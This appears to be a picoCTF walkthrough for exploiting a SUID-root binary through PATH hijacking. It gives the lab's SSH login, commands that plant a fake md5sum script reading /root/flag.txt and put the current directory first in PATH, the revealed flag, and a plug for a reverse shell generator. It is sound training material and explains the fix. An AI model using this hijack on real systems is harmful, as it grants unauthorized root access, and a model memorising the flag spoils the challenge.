Description
The flaghasher binary runs with elevated privileges but only prints md5sum /root/flag.txt. Hijack the PATH so md5sum points to your own script that cats the flag.
Setup
SSH to shape-facility.picoctf.net -p 51426 (password 8d076785).
Confirm flaghasher is SUID-root and pull its strings to see what it shells out to.
Build a fake md5sum in your home directory and put . first in PATH so it wins the lookup.
ssh -p 51426 ctf-player@shape-facility.picoctf.netls -la flaghasherstrings flaghasher | grep -E 'md5sum|/bin/'echo '/bin/cat /root/flag.txt' > md5sum && chmod +x md5sumexport PATH=.:$PATH && ./flaghasherSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
strings, PATH, and SUID enumeration in depth.Step 1Discover the helper call
ObservationThe binary is SUID root but behaves like a wrapper around an external command. Run strings and see what it calls, and whether it uses an absolute path or a bare name that PATH resolves.strings flaghasherproduces hundreds of lines, so always pipe straight into grep rather than scrolling. The hit is/bin/bash -c 'md5sum /root/flag.txt'. The baremd5sum(no leading/) means Linux resolves it via PATH - so you control which binary runs.bashstrings flaghasher | grep md5sumbash# Output: /bin/bash -c 'md5sum /root/flag.txt'What didn't work first
Tried: Run
ltrace ./flaghasherorstrace ./flaghasherto see what system call it makes instead of using strings.ltrace and strace do show the execve, but tracing drops SUID privileges on most kernels, since ptrace attach is blocked for SUID binaries. You get permission denied or a partial trace. strings is static, reading the file without running it, so none of that applies.
Tried: Grep for an absolute path like
/usr/bin/md5sumin the strings output to confirm it uses the full path.The binary deliberately omits the path, so grepping for /usr/bin/md5sum finds nothing and suggests md5sum is not involved. Grep the bare name instead, or a broader shell-invocation pattern, and the unqualified call appears.
Learn more
PATH injection (also called PATH hijacking) exploits the fact that Linux resolves command names by searching directories listed in the
PATHenvironment variable in order from left to right. When a program calls a command by name without specifying an absolute path (e.g.,md5suminstead of/usr/bin/md5sum), the OS finds whatever file namedmd5sumappears first in PATH.The
stringscommand is a first-line static analysis tool. Running it on any SUID binary quickly reveals hardcoded paths, system calls, and - as here - the exact shell command being executed. When that command uses an unqualified binary name (no leading/), PATH injection becomes viable. Real-world SUID binaries have historically been vulnerable to this in many Linux distributions.SUID (Set User ID) bits allow a binary to run with the permissions of its owner rather than the permissions of whoever executes it. A SUID binary owned by root runs as root regardless of which user launches it. This makes SUID binaries high-value targets for privilege escalation - any vulnerability in them potentially grants root access. Modern systems minimize SUID binaries and use capabilities or sudo policies instead.
Step 2Drop in a fake md5sum
Observationstrings shows flaghasher calling md5sum by bare name, with no leading slash. Put the current directory first in PATH and Linux resolves your own script instead, running it as root.Write a one-linemd5sumthat cats the flag, chmod +x, prepend.to PATH, and verify PATH order before running flaghasher. Critically, the fake script must NOT call any program namedmd5sum(no/usr/bin/md5sum, no recursion fallback) or the hijacked PATH will resolve it back to your own script and infinite-loop. If you SSH out and back in, PATH resets - re-export it.bashecho '/bin/cat /root/flag.txt' > md5sumbashchmod +x md5sumbashexport PATH=.:$PATHbashecho $PATH | tr ':' '\n' | head -3 # verify '.' is firstbash./flaghasherExpected output
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bfa4...}What didn't work first
Tried: Write the fake md5sum as
#!/bin/sh /usr/bin/md5sum /root/flag.txtso it falls back to the real md5sum to cat the flag.Calling the real md5sum from inside the fake script hashes the flag and prints a digest, not the contents. You want the plaintext, so use cat instead. Otherwise the hijack just reproduces the original behavior.
Tried: Set PATH with
PATH=~:$PATH(home directory by tilde) instead ofPATH=.:$PATHto avoid typing the dot.The shell expands the tilde before PATH is set, so that assignment does point at your home directory. But the fake md5sum has to live in whichever directory you prepended. Run from somewhere else and the binary will not find it, correct PATH prefix or not.
Learn more
Prepending
.(the current directory) to PATH is a classic privilege escalation technique. The current directory is never in PATH by default on modern Linux systems specifically because of this attack - if it were, any malicious executable in the current directory would shadow system commands. However, PATH can be freely modified in a shell session, so an attacker who controls PATH can plant fake commands anywhere in the search order.The fake
md5sumscript demonstrates the principle of command substitution: replacing a legitimate system utility with a malicious one. In real penetration testing, this technique is used to establish persistence (replacing cron-invoked scripts), escalate privileges (replacing commands called by SUID binaries), or intercept sensitive data (replacing commands likesshthat handle credentials).The correct fix is for
flaghasherto use the absolute path/usr/bin/md5suminstead of the bare namemd5sum, and to sanitize or reset the PATH environment variable before calling any external commands. This is documented in the POSIX specification and in secure coding guidelines from CERT, MITRE, and CWE-78 (Improper Neutralization of Special Elements used in an OS Command).
Interactive tools
- Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.
Flag
Reveal flag
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bfa4...}
Classic PATH hijacking, so always check PATH order when privileged scripts invoke system tools.